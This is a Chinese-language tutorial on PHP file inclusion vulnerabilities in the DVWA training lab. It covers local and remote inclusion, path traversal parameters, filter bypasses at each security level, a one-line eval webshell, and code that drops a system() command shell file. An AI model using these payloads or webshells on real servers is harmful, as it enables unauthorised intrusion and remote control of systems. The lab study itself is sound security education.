文件包含漏洞

1、文件包含漏洞简介

当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含:服务器的php配置中,allow_url_include启用(on)

(2)远程文件包含:服务器的php配置中,allow_url_fopen和allow_url_include启用(on)

2、【DVWA】之文件包含

未启用allow_url_include函数,初次进入报错

在设置中找到对应版本,将其中allow_url_include打开,重启

报错消失

Low

查看源代码

无任何防护

点击file1.php。

图中file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

1、本地文件包含

通过修改参数尝试获取当前目录其他文件

通过修改参数尝试获取其他目录下的其他文件 ,不在根目录下,有两种方法:

①绝对路径

?page=E:/software/test1.txt

②相对路径

?page=../../../../../../../test1.txt

注:一个../就是跳出一级目录到上一级目录下,具体有多少../可以通过已有的

信息算,或者一个一个摸索。

2、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。

在kali中www下创建两个文件,并开启apache服务

systemctl start apache2

cd /var/www/html

vim test.txt

hello~~~

vim test2.txt
<?php

@eval($_POST['cmd']);

echo '123';

?>

注: 服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

通过远程文件包含加载攻击者主机上的恶意代码

1.创建包含恶意攻击的代码文件

<?php echo file_put_contents("cmd.php","<?=system($_GET["cmd"]);?>');?>

//创建一个包含恶意命令执行逻辑的文件,属于典型的 Web 后门(Webshell)生成代码

//当这段 PHP 代码被执行后,会在当前目录下创建一个名为 cmd.php 的文件,该文件包含上述恶意命令执行逻辑。攻击者一旦成功执行这段代码,就能通过访问 cmd.php 并传入cmd参数,远程控制服务器(如查看文件、删除数据、反弹 shell 等)。

访问成功后,查看根目录

包含恶意代码的cmd.txt和shell.txt文本已经通过客户端访问植入到了客户端里,此时我们就可以利用植入的恶意代码进行一些操作。

cmd利用:
shell利用:

打开蚁剑

Medium

查看源码,str_replace()函数对"http://"、"https://"、"../"、"..\"进行了过滤删除。

那么我们可以访问绝对路径

?page=E:/test.txt

也可以使用双写绕过:

?page=hhttp://ttp://www.baidu.com

利用:

shell的利用和low一样

High

查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以"file"开头,服务器才会包含相应的文件

  • 验证规则
    • fnmatch("file*", $file):检查文件名是否以file开头(如file1.phpfile2.txt)。
    • $file != "include.php":允许直接访问include.php文件。
  • 目的 :只允许访问以file开头的文件或include.php,防止访问其他敏感文件(如配置文件、数据库等)

file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

相关推荐
白帽子黑客罗哥11 小时前
零基础使用网络安全工具的方法
安全·web安全·网络安全·渗透测试·漏洞挖掘·工具
白帽子黑客杰哥13 小时前
零基础学习网络安全,如何安排每天的学习计划?需要重点攻克哪些核心技能点?
学习·安全·web安全·渗透测试·人才培养·网络安全培训
白帽子黑客杰哥13 小时前
推荐一些适合零基础学习网络安全的具体在线课程或书籍?
学习·安全·web安全·网络安全·渗透测试
无名修道院1 天前
XSS 跨站脚本攻击:3 种类型(存储型 / 反射型 / DOM 型)原理以 DVWA 靶场举例
前端·网络安全·渗透测试·代码审计·xss
白帽子黑客罗哥2 天前
渗透测试技术:从入门到实战的完整指南
网络·安全·web安全·渗透测试·漏洞挖掘·网络安全培训
白帽黑客-晨哥2 天前
网络安全怎么考公?
web安全·网络安全·信息安全·渗透测试·考公
白帽黑客-晨哥3 天前
湖南网安基地:构筑网络安全人才培养新高地
web安全·网络安全·渗透测试·就业·湖南网安基地·安服
bleach-3 天前
buuctf系列解题思路祥讲--[网鼎杯 2020 青龙组]AreUSerialz1——文件包含漏洞,PHP代码审计,php伪协议,php反序列化
开发语言·安全·web安全·网络安全·渗透测试·php
白帽子凯哥哥3 天前
转行网络安全学习计划与报班建议
学习·安全·web安全·网络安全·渗透测试·漏洞挖掘·网安培训
无名修道院5 天前
DVWA 靶场搭建:Windows11(phpstudy 搭建)(步骤 + 截图 + 常见问题)
数据库·网络安全·渗透测试·靶场·php·dvwa·phpstudy